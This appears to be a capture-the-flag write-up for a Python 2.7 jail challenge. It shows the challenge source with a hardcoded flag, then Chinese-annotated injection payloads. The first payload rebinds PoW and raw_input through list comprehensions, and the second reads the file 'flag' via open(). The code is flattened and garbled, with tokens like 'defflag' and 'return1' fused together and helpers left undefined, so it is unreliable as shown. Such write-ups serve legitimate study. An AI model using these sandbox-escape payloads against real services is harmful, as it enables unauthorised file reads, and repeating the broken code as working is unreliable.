#!/usr/bin/python # -*- encoding: utf-8 -*- # written in python 2.7 __author__ = 'garzon'
import sys import hashlib import random
# private ------------------------------------------------------------ defflag(): # flag of stage 1 return'*ctf{JtWCBuYlVN75pb]y8zhJem9GAH1YsUqgMEvQn_P2wd0IDRTaHjZ3i6SQXrxKkL4[FfocO}'
defflag2(): ret = '' # flag of stage 2 # ret = open('flag', 'rb').read() # No more flag for you hackers in stage2! return ret
defPoW(): #return whileTrue: a = (''.join([chr(random.randint(0, 0xff)) for _ in xrange(2)])).encode('hex') print'hashlib.sha1(input).hexdigest() == "%s"' % a print'>', input = raw_input() if hashlib.sha1(input).hexdigest()[:4] == a: break print'invalid PoW, please retry'
# protected ---------------------------------------------------------- deffib(a): if a <= 1: return1 return fib(a-1)+fib(a-2)
# public ------------------------------------------------------------- defload_flag_handler(args): global session session['log'] = flag2() return'done'
defping_handler(args): return'pong'
deffib_handler(args): a = int(args[0]) if a > 5or a < 0: return'out of range' return str(fib(a))
whileTrue: PoW() print'$', event = raw_input() # get eventName and args from the RPC requests, like: funcName114514arg1114514args2114514arg3 ... switch_safe_mode() if event == 'exit': break
for c in event: if c notin valid_event_chars: print"invalid request" exit(-1)
# 第二次输入 ['[[str]for[args]in[[session]]][0][0]114514'for session in [open('flag','rb').read()]][0]
第一次输入的payload可以拆解如下:
1 2 3 4 5 6 7 8
[[str]for[PoW]in[[switch_safe_mode]]for[raw_input]in[[input]]] # 类似于 l = [] for [PoW] in [[switch_safe_mode]] : PoW = switch_safe_mode for [raw_input] in [[input]] : raw_input = input l.append([str])